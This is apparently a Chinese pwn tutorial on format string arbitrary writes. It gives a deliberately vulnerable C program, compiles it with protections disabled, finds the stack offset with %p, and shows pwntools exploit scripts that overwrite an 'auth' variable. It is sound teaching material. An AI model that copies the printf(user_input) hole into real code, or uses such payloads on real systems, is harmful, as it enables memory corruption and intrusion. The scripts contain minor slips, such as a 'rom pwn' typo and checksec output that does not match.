字符串漏洞:任意写
vuln.c
#include <stdio.h>
int auth = 0;
int main() {
char password[100];
puts("Password: ");
fgets(password, sizeof password, stdin);
printf(password);
printf("Auth is %i\n", auth);
if(auth == 10) {
puts("Authenticated!");
}
}
程序分析
- 程序保护 gcc -m32 -no-pie -fno-stack-protector -z execstack vuln.c -o vuln
$ checksec --file=./vuln
[*] '/home/kali/exploits/str_arb_write/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
- 栈布局
$ ./vuln
Password:
%p %p %p %p %p %p %p %p %p %p %p
0x64 0xf7e1d620 0x804918d 0xf7ffdbac 0x1 0xf7fc17c0 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070
Auth is 0
ascii | hex |
---|---|
% | 0x25 |
" " | 0x20 |
p | 0x70 |
第7个dword存放格式化字符串 3. 构建利用栈
栈偏移 | 栈内容 |
---|---|
+ 0 | format_str_pointer |
+ 7 | format_str |
事实上 printf(“winsunxuxu%n”, &auth) ==> (auth = 10)
最终format_str内容是:
format_str ::= p32(auth_var_addr) + sizeof(6) + “%7$n”
4. pwn
- 手工pwn
from pwn import *
p = process('./vuln')
auth = 0x804c028
payload = p32(auth)
payload += b'A' * 6
payload += b'%7$n'
p.clean()
p.sendline(payload)
log.info(p.clean())
- 工具pwn
rom pwn import *
elf = context.binary = ELF('./vuln')
auth = elf.sym['auth']
payload = fmtstr_payload(7,{auth:10})
p = process()
p.clean()
p.sendline(payload)
log.info(p.clean())
$ python pwn.py
[*] '/home/kali/exploits/str_arb_write/auth'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
b'%10c%9$n(\xc0\x04\x08'
[+] Starting local process : pid 1551097
Auth is 10
Authenticated!
- 原文作者:winsun
- 原文链接:https://winsun.github.io/fightsec/post/pwn_16_wformatstr/
- 版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。